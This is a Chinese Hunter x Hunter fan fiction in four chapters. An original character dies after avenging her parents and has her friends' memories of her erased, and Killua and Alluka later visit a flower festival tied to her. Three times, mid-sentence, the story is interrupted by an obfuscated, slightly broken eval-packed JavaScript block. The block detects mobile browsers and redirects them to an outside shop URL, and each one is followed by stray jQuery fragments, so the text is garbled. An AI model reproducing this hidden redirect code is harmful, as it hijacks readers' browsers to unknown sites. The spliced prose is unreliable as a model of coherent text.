《[猎人]在我死之后》
1. chapter.1
血、肉。
铺天盖地的血液还有小部分的残肢洋洋洒洒地凝固在我的视野里,蓝色的耳坠在不远处闪着光。
刺骨的疼痛像蚂蚁在密密麻麻地啃蚀我的□□,而我只是眨眨眼睛呆愣地接受着这一切。
其实也不是不想解决痛苦的源头,但是我实在是没有力气起来了,甚至连最珍视的耳坠都做不到拾起。
——因为我快要死了。
不过还好,在我死之前勉强带走了我的仇人,一个人死掉也不算太孤单。至于他们口中常说的死后去地狱或去天堂嘛——我都无所谓,如果能长眠那就更好,不过我这种人,还是应该待在地狱吧?
不知道是不是我的精神上对此太过麻木,导致脑子像是慢半拍一般浮现出一句与之毫不相关的话语,啊,原来人可以流那么多的血。
不对,人本来就可以流那么多的血,在我之前就有典型例子了不是吗?照现在这个出血量,还可以扩散地更大吧?
唔,我对医学不太感冒,只会一点简单的包扎和上药,奇犽和雷欧力欧应该知道的更清楚吧,早知道就问问了。
奇犽肯定会说自己是个笨蛋,然后像个高材生把这些知识倒豆子一样讲出来。讲完之后才会意识到不对,炸了毛一般质问我到底要干什么。
明明是个杀手诶,医学知识却强得可怕。或许正是因为是杀手,所以才懂得那么精细的知识吧?
雷欧力欧的话,一定会很严肃地讲解那些知识,然后带着担忧的眼神把我整个人都看一遍,急切地询问我是不是哪里受伤了。
如果我说没有,他就会如释重负地松一口气。
啊,这么一说突然又有一点不想死了。我很好奇他们知道我的出血量后却没有死掉的表情。一定会很惊讶吧?一定会的吧!
该说是我命大还是心大呢?
可是我已经没办法问了,这些反应也不过是我假想的。随着失血量的增加,我的四肢已经开始变凉了,接下来的地方说不定就是我的躯干,或许心脏。
我一定会死掉的。
一定。
说到伤口,酷拉皮卡这家伙的伤势估计也和我半斤八两。还好他没有和我一样下那么严苛的誓约和制约,不然的话就和我一样躺在这里等死了。
虽然说他这个家伙自己的制约和誓约也够他受的了,不知道可以活到多少岁,但还是希望酷拉皮卡死的不要太早,最好能够年年为我摆上好吃的贡品,直到我吃腻为止,我会非常感激酷拉皮卡的。
再说了,要是我们两个一块死了,谁来给奇犽小杰雷欧力欧带个口信。同伴莫名其妙消失什么的,怎么看都让人挂心吧?还没一个死字来得干脆利落,人也可以不用找,只要来到坟前看一看就好。
奇犽、雷欧力欧看起来对同伴死掉的接受度还好,倒是小杰太重感情了。他肯定会接受不了,哪怕见到我的尸体也不会死心,情绪激动起来不知道会干出什么傻事。
有时候我真希望他能学学奇犽的冷静,哪怕学不来,能够客观的考虑自己一下也行,不要一根筋地就往前冲,什么都不管。
但小杰就是小杰,那样的话就不是小杰了。
所以我上次和拿尼加碰面的时候就已经许愿在战斗结束之后让他们忘掉与我有关的记忆了。尤其是小杰,我在他那里抹除所有与我有关的痕迹,一根头发也不会留下。
我不希望凯特的事情再一次发生在他身上,他已经失去太多太多。
酷拉皮卡也会忘记我的,忘记这里曾经陪同他走过一段时间的同伴,忘记这里大片混杂着眼泪的血肉。
他的仇恨随着库洛洛倒下的尸体燃成灰烬,被风吹散之后,只留下了空荡的人生。死去的命运太沉重。长长地松了一口气后,平静的茶眸反倒成了茫然的开始。
一定要加油呀,酷拉皮卡。痛苦的话就告诉小杰,告诉奇犽,告诉雷欧力欧,告诉旋律吧。无论多远,大家都会陪在你身边的,我的残念也会作为影子紧紧跟随着你,你不是一个人,也永远不会是一个人。
啊,这么一说,好像不会再有人来坟前看看我,陪我说说话。不对,我甚至连一个像样的墓碑也没有,像枯萎的小花小草一样深埋在地底,忍受漫长的冬季。
没有人会记得我,没有人会为我伤心。
那样也好。
我一直是个任性的人,总是一声不吭地一个人走掉。这次也是一声不吭地擅自向拿尼加许下了‘在我死后,让大家忘记我存在’这样的愿望。
就算是这样任性的我,大家也一定会包容。如果可以,我好想就那样永远永远任性下去。
可是我已经没有未来了。
对不起啦,大家。
我在回忆里许下的无数永远的愿望,反倒让永远变成了瞬间的代名词。果然妈妈说的是对的,人太贪心了,不去安于现状,跑去奢求虚无缥缈的未来。
回忆的每一个瞬间,其实就可以代替时间上的永远了。
这么想着,呼,一片落叶停在了我的鼻尖,我想把它吹开,但是它依旧纹丝不动,反倒是我的身体越来越没有力气。我的大脑由于缺血开始出现了一些幻觉,恍惚中看见了幼年躲在阴暗角落,拿着勿忘我无声落泪的自己。
好想伸出手擦去她的眼泪告诉她别哭了。
别哭了,你的未来不只是一个人,你会认识很多很多的同伴,发生各种各样的事情。
她好像真的听到了我的话语,茫然了一会,对我露出一个灿烂的笑容,伸手擦去眼角的泪珠,拍拍身上的灰尘站了起来。
听到了吗?那就好,我放心地松了一口气,从落叶的虫洞看到了悬在头顶的太阳。甚至还有闲心感叹一句,今天天气真好。
库洛洛杀害我父母的时候也是这样的天气,一个很晴朗的天气,非常适合喝下午茶。同样的,杀人对他来讲就和喝个下午茶一样轻松。
所以我的父母在这样好的天气里死掉了,什么话都没有留下,他们死前也没有流露出一丝怨恨的眼神,而造成这一切的我却大摇大摆地活了下来,作为他们曾经存在的证明。
太自私了。
太自私了……
我常在午夜梦回听见他的皮鞋踩在落叶上沙沙的声音,还有溅落的血花滴答滴答地淌下来。
周遭的一切却静得可怕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261304|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仅仅在几个呼吸之间的事情,却酿成了我一辈子的悲剧,甚至在现实中我也偶尔会触碰到这样的幻影。
为什么我没有和我的爸妈一起死去呢。
为什么我要带着库洛洛来到我家。
为什么我要给一个陌生人带路。
那些疑问时常将我拉进梦魇,质问我的苟活。我也常常问自己这样的问题,看着旧日的场景在眼前不断浮现。
如果说我对父母有多爱,那其实也不全是。我在那之前关于父母的记忆都消失了个一干二净。只依稀记得有几次高烧,他们忙着做自己的任务,把我扔给不靠谱的保姆。屋子里起了火,他们也不知道,是好心的邻居把我救了出来。
哪怕是这样,他们被杀害的时候我还是怀着一腔愤怒和自责,如同一团熊熊燃烧的火焰。直到今天才冷却,就像灰色的岩浆在慢慢石化,最终凝固。
而现在,我没有什么好愤怒的了。我完成了人生的任务,手刃了我的仇人,一片轻松。就算他们在黄泉之下责怪我,我也能坦然地接受,并告诉他们我已经报了仇。
我不怪他们,他们已经尽到了赡养的义务。没有在我嗷嗷待哺的时候把我饿死,我就已经很感激,况且猎人这一职业本来就注定多离别。
哪怕再好如小杰、奇犽、酷拉皮卡、雷欧力欧和我,在猎人考试之后也走上了不同的道路。
那些美好的、痛苦的,一切的一切都会被遗忘。所有的爱、恨全都消散在土里,连同没能说出口的话语。
我还什么都没有说,我还什么都来不及说。
想到这,一股黏腻又酸涩的东西冲上我的鼻尖,刺得我眼睛都睁不开。
哭是没有用的,我也一定会死的。
可是没有人只是为了哭。
我不后悔今天的这一切,可是我的人生实在是太短了。短到不能看到酷拉皮卡毫无阴霾的笑容,短到不能看到找到父亲的小杰,短到没有亲眼见到奇犽变成抓捕家人的猎人,短到看不到雷欧力欧成为有名的医生。
哪怕无数次接受这个残忍的现实,我都无法在死前宽恕自己——成为最先背叛诺言的那一个人。命运同我开了一个玩笑,让我在最接近幸福时,给予我最深沉的痛苦。
人总是追求小满以外的圆满。如果死的不是我就好了。
躺在这里接受死亡远比想象中要痛苦,我再不想、再麻木,眼泪还是争先恐后地顺着眼角滑下。
我不想就这么死去。
我还什么都没有看到。
唰——又一片树叶落在了我的眼前,遮住了我的视线。我已经什么都看不到了,包括覆盖在眼前微红的眼皮。
嗵、嗵、嗵——
视线消失,听觉就会变得敏感。我听见我的心跳缓慢地跳动了两下,声音渐渐变小。
听说人死前最后消失的是听觉。如果可以,我想祈求奇迹,再一次、再一次赐予我听到他们声音的机会。
如果可以的话。如果真的有奇迹的话。
再见。奇犽。
再见。小杰。
再见。酷拉皮卡。
再见。雷欧力欧。
……
2. chapter.2
奇犽最近很开心,光是看着玩耍的亚路嘉,心里就会升腾起一种接近于饱腹又不太满足的幸福感。
哪怕分别多年,甚至此前还一直担心亚路嘉会不会埋怨自己,但是见面之后,血缘的熟悉感还是将他们牢牢锁在一起,亚路嘉也还是和以前一样很依赖他。
他们一起坐在一片开满花的斜坡,午后的阳光透过稀疏的树叶,洒下斑驳的光斑,落在亚路嘉乌黑的发梢上。风带着草木的清香吹过,卷起几片蓝紫色的花瓣,轻轻擦过奇犽的脸颊,留下一丝微凉的触感。远处隐约能听到溪流的潺潺声,混合着亚路嘉编织花环时花藤摩擦的细微声响,一切都安静得像一幅慢下来的画。
看着恬静的侧脸,奇犽拿出手机拍了一张发给小杰。屏幕的光在他脸上映出浅浅的亮斑,与周围的自然光有些格格不入——这里的信号时断时续,手机顶部的信号格始终只亮着一格,像在固执地维系着与外界的联系。他想了想,又退出聊天界面,分别给酷拉皮卡和雷欧力欧发了一份。
他这么可爱的妹妹一定要让所有人知道。
发完以后,他的手指在列表界面停了一会,又点到了和小杰的聊天界面,对着2000年10月19号的日期和这些灰色的照片发呆。
“哥哥,你在干什么呢?”亚路嘉背着手凑到他的身边,好奇地探出一个脑袋,身上好闻的花香味混着草地的湿气慢慢浸入奇犽的鼻尖。
清新又带着丝丝苦味的气味,顺着呼吸钻入胸腔,让他缓缓拉远的思绪被带回。
“啊,在和小杰发照片呢。”奇犽挠了挠后脑勺,带着微笑。他们所在的地方网络并不发达,手机上的画面大部分都显示着多张灰色的待加载的照片,无一例外都和亚路嘉有关。
“小杰这家伙看到一定会羡慕我有这么可爱的妹妹的。”一想到小杰的反应,他就得意地笑起来,摸了摸身边亚路嘉的头。
“哥哥……”
亚路嘉微红着脸接受了他的夸奖,然后把藏在背后的花环递给奇犽,两只眼睛闪亮亮地看着他。“拿尼加很喜欢这个花,所以我们一起编了这个花环送给你。”
小小的、紫色、蓝色、粉色的花朵一小簇一小簇地堆在一起和绿色的花藤相互交织,将亚路嘉的脸蛋框成一个圆圈。
“是勿忘我啊。”
近乎本能地,在看清花朵的第一眼,奇犽没由来地感叹了一声,像是在回应之前嗅到的略带苦涩的花香。
“勿忘我?”亚路嘉轻轻拨弄了一下指尖的花瓣,软软的,像棉花一般轻柔。“拿尼加说很喜欢这个名字。”
“以前有个家伙兴冲冲地拿了一大束这样的花朵摆到我面前,告诉我……”一说起勿忘我,言语就像流水一般自然而然地流露出来,划过内心某处柔软的内在。可话到嘴边,大脑却突然像被浓雾笼罩。那个“家伙”的脸、声音、甚至递花时的动作,都模糊成一片虚影。
他下意识按住太阳穴,指尖的力道微微收紧——刚才那一瞬间,好像有什么重要的东西要冲破记忆的闸门,却又被硬生生压了回去,留下一阵轻微的钝痛。
“告诉我、告诉……”奇犽僵住了一瞬,未吐出的话语如鲠在喉。他拼命回想,大脑里却空落落得没有任何有关于勿忘我的记忆。反倒是一种莫名的怅然像潮水般漫上来,让他忍不住皱了皱眉,随后便是一阵茫然。
刚刚发生了什么?
这种感觉让他觉得熟悉,手指无意识地摩挲起后脑勺——这里曾经被伊路米插入过念针的位置。他在拔出念针以后,已经反反复复确认过没有残念的影响了。可此刻,那片皮肤下像是有微弱的电流窜过,带着一丝说不清道不明的不安。
“哥哥,那个家伙说了什么呀?”
对上亚路嘉期待的目光,他眨了眨眼,回忆逐渐变得清晰。他摆摆手随口接着道。“嘛,也不是什么重要的事情啦。那个人应该是任务的时候碰到的,可能被我杀了也说不定。让我知道这个花名,那家伙也算死的有价值了。”他鼻孔朝天哼哼两声。
“哥哥好厉害——”亚路嘉瞪大眼睛捂着嘴惊叹。
“身为揍敌客的杀手,这些也不算什么啦。”奇犽笑着弯下腰,把头向亚路嘉的手旁送了送。“既然是亚路嘉和拿尼加一起编织的花环,就让亚路嘉和拿尼加一起给我带上吧。”
“好的哥哥!”亚路嘉弯起嘴角,用右手拿起花环的另一边,轻轻地放在奇犽的头顶,压住了银色的漩涡。
“好啦。”她拍手,视线顺着奇犽抬起的头看去。一阵微风吹过,那小小的花顺着银色的波浪里起伏若隐若现。“果然很适合哥哥呢。”
“那当然。”奇犽很受用地弯弯眼眸,拿出手机拍了一张和亚路嘉的合照。正打算发给小杰的时候,亚路嘉拉住了他的袖子。
“哥哥,可以等一下发给小杰吗。”
“怎么了?”他偏头询问道。
“拿尼加说还有一个花环没有拍上。”亚路嘉说完,转身小跑到旁边的花丛里,裙摆带起几片蓝紫色的勿忘我花瓣。她在花丛中弯腰摸索了片刻,才小心翼翼地把另一个小一些的花环抱在怀中,快步跑了回来。
“就是这个。”她小喘着气,献宝似的举起这个花环给奇犽看,鼻尖上沾着一点草屑。
比起他头上的这个,亚路嘉手上的要更精致一些,整个花环都是统一的蓝色,和她的瞳色差不多。
“这是亚路嘉要带的吗?比我头上的还要漂亮诶。亚路嘉好偏心哦——”奇犽半开玩笑道。
“不是的,哥哥。这不是给我做的,是拿尼加做的不知道给谁的花环。”亚路嘉摇摇头,认真地回答了奇犽的玩笑话。
“不知道给谁做的?拿尼加还认识我们之间不认识的人吗?”他看着圆圈里亚路嘉微微绷紧的脸,好奇道。
“拿尼加说她也不知道。就是想着一定要做一个花环。拍照的时候也一定要带上……明明哥哥和拿尼加说好了,但做花环的时候还是不自觉走神了……”亚路嘉的两个鞋尖不安地摩挲着,她也说不上来那个时候她感知到的拿尼加的情绪该用什么具体的词汇去形容。
比雾朦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261305|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胧,比雪还轻盈,比泉水还要冰凉。
拿尼加从来没有表现出这样的一面,但在灵魂某处,她们的心在共鸣。那种情感太过强烈,所以才让拿尼加短暂地接手了这个花环。
一定有什么、一定有什么——
“可以哦。”奇犽开口打断了她的思绪。
虽然不太清楚到底是什么原因,但奇犽还是答应了拿尼加,毕竟合格的哥哥才不会拒绝妹妹的任何要求。
“太好了,拿尼加很开心,我也很开心。这里涨涨的,暖暖的。”亚路嘉捂着胸口感受道。
“把花环举在头顶让小杰看得更清楚一点吧。”奇犽靠在亚路嘉的身边,举起手机对着他们两个,笑眯眯地比了一个剪刀手。亚路嘉则羞涩地举起右手的花环,蓝花瓣在阳光下泛着柔和的光。
“三,二,一。茄子——”
咔嚓一声,画面被定格在相册里。黑发的女孩头靠在带着花环银发男孩的肩膀上,不知道是不是角度问题,右手拿起的花环像是套在另一个并不存在的人的头上。
“哥哥,为什么要说茄子呀?”亚路嘉捏着花环问。
“因为笑起来会更好看啊。”奇犽点击着屏幕,想也没想地就脱口而出。将照片发送给小杰后他又补了一句。
“妈妈在拍照的时候好像也会那么说吧?好像说是会更上镜什么的。不过人长什么样照片拍出来就是什么样吧,和上不上镜有什么关系。那头肥猪、啊、二哥不还是那个老样子。”他随口道。“念着倒是挺顺口就保留这个习惯了。”
“嗷,原来是这样,我知道啦。”亚路嘉点点头,反反复复地小声吐出茄子这两个字,感受嘴角扬起的弧度。
苍白的指尖触到了不自觉的、像月牙一样弯起的唇。沉浸在茄子里的亚路嘉像是发现了什么新奇的东西,灰蓝色的眼眸也跟着不自觉眯成了两瓣。
好神奇。
原来发音这么神奇,能够让人流露出笑容,让人感到高兴。和他感同身受的拿尼加也一定很开心吧。
‘不、我并不高兴。亚路嘉。’拿尼加否定了他的猜测。‘相反的,我很悲伤。’
‘为什么。’亚路嘉下意识捏紧了手中的花环,娇嫩的花瓣因为创造者的不注意渗出了苦涩的汁液。
‘我不知道。’拿尼加小声地说,她的语气带着懵懂的茫然,却又藏着挥之不去的沉坠感。‘无论是花环还是茄子,我都感到难受。亚路嘉你也能感受到的吧。’
那哭泣的悲伤和缓缓流淌的泪水。
‘嗯。但是我不理解——为什么?’亚路嘉捂住胸口,那里像压着一团湿软的雾,闷得她呼吸都轻了些。
‘我不知道。一定有什么东西被我、不、我和你忘记了。’
‘那、哥哥那边……’亚路嘉小心地撇了一眼奇犽的方向。看到他还在盯着手机屏幕,眉头微蹙,像是在为依旧灰色的照片发愁,又像是在想别的事情。
‘先不要告诉奇犽。他会担心的。’拿尼加轻声说,‘无论忘记了什么,我们都会想起来的,一定。’
3. chapter.3
落日的余晖熔金般淌过大地,混着湿润雾气的晚风吹过奇犽的脸颊,他拉着亚路嘉的手踏入这座被花海包围的小镇。
说是小镇,这样的规模也算得上是市中心了。
这里的建筑都带着复古的尖顶与雕花,石砖街道的每一处空隙都爬满了绿色的藤蔓。摊贩们的摊子上摆着琳琅满目的花饰与点心,叫卖声混着风铃响成一片。
华丽的花车从身旁驶过,彩纸与花瓣簌簌而下。远处运河上的邮轮披着晚霞缓缓淌过,不同肤色的旅人捧着花束,笑声随着风飘得很远。拂过耳畔的风里,花香混着点心甜香,连空气都变得慢悠悠的。
不远处一个穿着碎花裙的念能力者正抬手催动念,成束的郁金香在她的掌心凌空绽开又收拢,围观者只当是魔术,爆发出阵阵欢呼。
“哥哥,这里好热闹啊。”亚路嘉新奇地打量着周围,晃了晃奇犽的手。
奇犽也是第一次来到这个地方,以前只在书上知道它是鲜花之都,没想到比书上描述的还要热闹。更有趣的是,竟有人将念开发出了这种逗人开心的功能。
“你们是外地来的旅客吧?”路边摆着花摊的老人抬眼瞅了瞅他们,捋着花白的胡子,用流利的通用语笑道。
“这是我们五年一度的花咲祭,所有曾在这片土地生活过的死者、生者都会回来,全国各地的人也会来凑这个热闹。晚上八点还有烟火大会,到时候整片天空都要被染成花的颜色呢。”
“花咲祭?”奇犽挑眉。
“对,它原先的成立是为了纪念逝去的过去,现在连带着纪念花咲夫妇。当年是他们带来了勿忘我花种,让这片贫瘠的土地变成了花海,村子才兴旺起来。只可惜……他们一家三口至今下落不明。”说起往事,老人无奈地摇头。
“花咲……”这个姓氏在奇犽的口中转了一圈,隐隐约约觉得应该在哪里听过,但没有什么具体印象。
“哥哥,那个房子好漂亮呀,我想去看看。”亚路嘉的目光从近处眺望到远方,看见对面的庄园眼前一亮。大片的勿忘我花田簇拥着木色的宅邸,风一吹,花浪便层层叠叠地涌向天际,屋后的风车慢悠悠转着,影子投在运河的波光里。
“小姑娘真聪明,那就是我们的纪念馆,是花咲夫妇故居。今天花咲祭免门票,可以去看看哦。”老人顺着亚路嘉的视线看过去,开口介绍道。
“哥哥。我想去看看。”亚路嘉眨眨眼,双手握住奇犽的手,轻轻晃动着,两只眼睛亮闪闪的看着他。奇犽压根没有办法拒绝也不会拒绝亚路嘉,笑着揉了揉她的脑袋,
“好,我们走吧。”奇犽单手插兜,领着亚路嘉往前。走了几步,回头瞥了一眼老人摆了摆手。
“谢了。”
一道银光闪过,裹着锡纸的巧克力球落入老人的手中。老人捏着手里的巧克力球失笑。
顺着游客的走向,穿过精致的灌木花丛,一道大门向他们敞开。随后便是巨大的庄园矗立在大片的花海之中。奇犽避开了大部分人流,来到了几乎没有几个人的侧门。门边缠着枯萎的花藤,一架斑驳的木制秋千孤零零地挂在树下,秋千板上还刻着小小的、模糊的刻痕,像是孩童的涂鸦。
——估计是花咲夫妇为他们的女儿制作的。
奇犽看着有些斑驳的木板随意地想着,瞥了一眼旁边游客禁止进入的牌子,指尖抵着木门轻轻一推。吱呀一声,一股冷风顺着缝隙迎面吹来,与别墅正门温暖的氛围形成了对比。亚路嘉有些害怕地躲到了奇犽的后面。
“没事的,亚路嘉,有我在呢。要是害怕的话就紧紧地拉住我的手。”奇犽摸了摸亚路嘉的脑袋,安抚她紧张的情绪。“我可是很厉害的哦。”
亚路嘉点点头,轻轻地嗯了一声,从奇犽的身后探出了一个脑袋,小心地观察起周围。
刚跨过门槛,四周的灯光就一盏接一盏地亮起来,暖黄的光线晕开一圈圈柔和的光圈。
室内的布置大多采用的是木质家具和木质地板,踩上去会有轻微的吱呀声。墙壁上镂刻着大片精美繁复的勿忘我花纹,连窗帘的流苏下也垂挂着小小的、蓝紫色的花朵。
走廊两侧挂着许多花卉的标本,有些房间还锁了起来。再往上走便是卧室,主卧的床头柜上还有两张猎人执照落了灰。房间都很整洁,基本的布局都大差不差,除了奇犽面前的这一间。
一大堆大的、小的、各种颜色的玩偶堆在地毯上、沙发上、橱柜里、床上、椅子上,就连阳台上也有,就好像要把房间里所有的空隙填满一样。亚路嘉的眼睛唰的一下亮了起来,松开了奇犽的手,小跑拿起一个玩偶就兴奋地抱起来。
“哥哥我好喜欢这里——”她拨弄着玩偶的手冲奇犽招手。
“亚路嘉,要是喜欢的话我们待会去买一些怎么样。先把这个放下,它待在这里很久了,会有很多灰尘。”奇犽蹲下来,指尖温和地擦去亚路嘉脸颊的灰尘。
“好吧。”亚路嘉看了眼手里的玩偶,有些不舍,声音闷闷的。
奇犽的直觉告诉他,有什么地方不对劲。他站起来观察了屋子一圈,也没有发现什么,唯一奇怪的就是硕大的房间里头一家三口的照片一张也没有,这间儿童房也是一样。
就在他拿起亚路嘉手里的玩偶准备放回去的时候,他的鼻尖嗅到了一丝熟悉的味道,那味道很淡,如果不是拿起来他都无法发现。
他有些不确认地把它放在鼻子前闻了一下。
——是血的味道。
这种味道他很熟悉,在无数次出任务时,无论是任务目标的还是他的,淡的、浓的血腥味都会萦绕在他的鼻尖,挥之不去。
他又拿起了手边的一个玩偶,闻了一下,混着沉重的灰尘味,还有淡淡的血腥味。
地毯上、沙发上、橱柜里、床上、椅子上、阳台上的玩偶都有。奇犽捏着手里的玩偶,微微皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261306|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起眉头。虽然不清楚是谁的血,但是花咲夫妇绝对不是自愿消失的。让两个职业猎人无声无息消失……
这背后的事情绝对比他想的复杂。
他没说什么,默默把玩偶放回原位,转身拉着亚路嘉的手走出了房间。
“亚路嘉,我们去买玩偶怎么样,然后再去看烟火大会——”奇犽偏头看向身旁的亚路嘉,却发现对方垂着头不知道在想些什么,嘴唇紧紧地抿成一条线。
“怎么了?”他的手搭在亚路嘉的肩上,蹲下来和她平视。
“哥哥,”亚路嘉的声音细若蚊呐,“有人在哭。”
“哭?”奇犽微微张大眼睛,转头扫视了一圈无人的走廊,只有细微的风声。“声音从哪里传来的。”
“这里。”亚路嘉抬起手臂,直直地指向走廊的角落。那里的灯没有亮起,浓稠的阴影像墨汁一般堆着,黑漆漆地看不清尽头。
“亚路嘉你先在这里等着,我去看看。”奇犽的眼神立刻谨慎起来,他的手里捏着念,往前走了几步,那股飘来的血腥味越重。随着他的靠近,未知的念产生了细微的波动。
黑暗的角落里,蜷缩着一个小小的身影。栗色的头发乱糟糟地贴在脸颊上,破旧的白色连衣裙上,印着大片早已发黑的暗红痕迹。她的手紧紧攥成拳头,脸埋在膝盖里,哭声混着风声一同呜咽,断断续续的,像小猫的哀鸣。
“谁来……帮帮我……”他听见她说。
揍敌客的训练早已让奇犽的五感远超常人,即便在这样的黑暗里,他也能看清女孩苍白的指尖,以及那攥在掌心的漏出半个边的棕色的东西。
“喂,你还好吗?”奇犽手里捏的念亮度不足以看清全貌,在原地的亚路嘉只看到了影影绰绰的影子。
走在前面的奇犽全身肌肉紧绷,试探性地问了一句。
“谁来……帮帮我……”
哭声还在继续,让人听着胸口发闷。奇犽迟迟得不到回应,有些不爽地啧了一声。他又往前走了几步,走廊的灯亮了。原本蜷缩在角落里的小女孩也消失不见,什么痕迹也没留下,就好像什么也没发生过一样,只有稍浓的血腥味缭绕在身旁。
“人呢。”奇犽转了一圈,用凝细细观察起了四周,看到了黑色的、细微的,快要和阴影混在一起的念,它没有恶意,只是停留在了那里。
“是残念啊。”他松了一口气。
确定无害后,他把覆盖在身上的念收回。
“哥哥?”亚路嘉不清楚那里的情况,在原地等待了有些时间,见奇犽没动静,小声地叫了一声。
“啊,没事,亚路嘉,残念而已。”奇犽从角落里走出来,牵起亚路嘉的手。“我们走吧。”
“嗯!”亚路嘉点点头,用力回握住他的手。
两人的身影消失在走廊尽头,那盏坏掉的壁灯,忽然又闪烁了一下。一缕极淡的念,轻轻附在了亚路嘉的发梢上。
4. chapter.4
奇犽和亚路嘉从庄园里出来的时候已经是夜晚,天完全地黑了下来。街道两侧的灯一盏盏亮起,周边的游客明显比下午时要多,各式漂亮的服装在光影里流动。
亚路嘉一只手拿着苹果糖,另一手牵着奇犽的手。目光在看到摊位上的金鱼紧紧地黏在了上面,她轻轻地晃了晃他的手。
“哥哥,这个好漂亮——”
“那我现在给亚路嘉——”奇犽的目光从隔壁摊位的巧克力球落到水池里的金鱼,话语僵住了。
“你想要这个?”奇犽指尖微弯,指着两只眼睛快要鼓出来的黑色金鱼,有些不确定地问道。
“嗯!”亚路嘉肯定地点点头。“它身上的花纹像爷爷写的字一样。很漂亮。”
想到桀诺·揍敌客的毛笔字,奇犽的眼神不自觉地游离到水池里的金鱼上。突出来的两只大眼睛和他四目相对,傻愣愣的。
怎么看……都不像吧。
“两位是要捞金鱼吗?”摊主看着他们两个站在这了一会,走上来询问道。她的眉眼弯弯,手上还拿着几支捞网。
“啊……”奇犽看了她一眼,又看向亚路嘉。停顿半秒,注意到亚路嘉快要扁起来的嘴唇,连忙说了一声“对。我们要捞。”
“这是我们的新品种影子鱼。”似乎是看出了奇犽的犹豫,她点点水池开口介绍。“虽然它的长相确实不太符合大众的审美,像被打翻的墨汁,不过呢……”摊主抬眼,目光在奇犽和亚路嘉之间微妙地停顿了一下。
“它能映出人心底‘影子’的记忆,或者是与‘影子’的幻想。那些你以为丢掉了的、或者……被别人弄丢了的记忆、突然出现的幻想中的伙伴。很有趣吧?”
“试试吧。”摊主笑了笑,递给他们两个捞网。亚路嘉很兴奋地接过,伸入水池里。
纸做的网,遇到水软了下来。亚路嘉刚捞起一个影子鱼,湿润的纸张便承受不住它的重量,破了个口子,扑通一声掉了下去。她又换了一个捞网,还是没有成功。
反观奇犽这边,他屏住呼吸,在金鱼呆住的瞬间,手疾眼快地将它捞了上来。动作轻快,脸上带着得意的笑容。
“哥哥好厉害——”她看着奇犽捞进袋子里的影子鱼,眼睛眨巴眨巴。
“小孩子的把戏罢了——亚路嘉想学的话我可以教你。”奇犽的视线掠过一旁报废了的捞网,找摊主又要了一支交到亚路嘉的手上。
“亚路嘉想要哪一条?”他的手把着亚路嘉的手,转头询问道。
“那条,尾巴是爱心形状的那个!”亚路嘉的左手指了指。
“看好了。”奇犽放轻呼吸,控制住亚路嘉的手,亚路嘉也屏息凝视着。只是扑通一瞬,湿润的纸张上便盛着一只影子鱼。
“好厉害!”
亚路嘉笑得很开心,拿着捞网小心地把鱼装进了袋子里,一旁的奇犽顺手接过不用了的捞网。她的左手将袋子举高,另一只手好奇地戳着塑料袋里的影子鱼。两条影子鱼一感受到动静,昏头乱向在袋子里转了几个圈。
怎么会有这么呆的鱼。
这个念头刚冒出来,奇犽自己先笑了起来。
“还要继续吗?亚路嘉。”他咧开嘴,咬了一口亚路嘉递给他的苹果糖,右手有一搭没一搭地晃着捞网。
咬破外面的糖壳,酸甜的滋味在他的嘴里炸开。
还行吧,也就这个味道,比他想象的要平淡一些,还没有巧克力球好吃。他嚼了嚼,又想:和糖葫芦差不多,真会有人退而求其次爱吃这种东西吗?
“不用了,我和哥哥一人一条刚好。”亚路嘉摇摇头,眼睛盯着影子鱼看。
“多少。”咽下最后一口苹果糖,奇犽掏出钱包看向一旁的店主。捞网被他随手扔进了身后的垃圾桶里,连带着吃的干净的棍子。
“一共8000戒尼。需要打包吗?”摊主微笑着。
奇犽回头看了一眼和影子鱼玩的正开心的亚路嘉,从钱包里掏出一张10000的戒尼放在摊主桌上。
“就这样吧。不用找零了。”
“影子鱼的回忆功能只有一次且持续8h,注意在做好心理准备之前不要在人多且昏暗的地方拿着它们,不然会触发回忆导致分不清现实与虚幻……”摊主收起钱,讲解影子鱼的注意事项。抬头一看时,那个白发蓝眼的少年带着他的妹妹已经走远,快要看不清影子。
“啊,走的真快。白发蓝眼……总觉得在哪里见过呢……哪里呢……”摊主半撑着脸有些茫然。
华丽的花车骨碌碌地从身旁路过,人流越来越密,大家都不约而同地朝着一个方向走过去。奇犽的手围在亚路嘉的身边,防止她被人流冲走。
“哥哥,烟火大会快要开始了。”亚路嘉指着飞艇上显示的时钟,上面的指针快要指到八点。
“那我们要走快点才行啊,亚路嘉。”奇犽笑着揉了揉亚路嘉的脑袋,她的头发很快变得毛茸茸的。
“哥哥——”亚路嘉有些不满地喊了他一声。
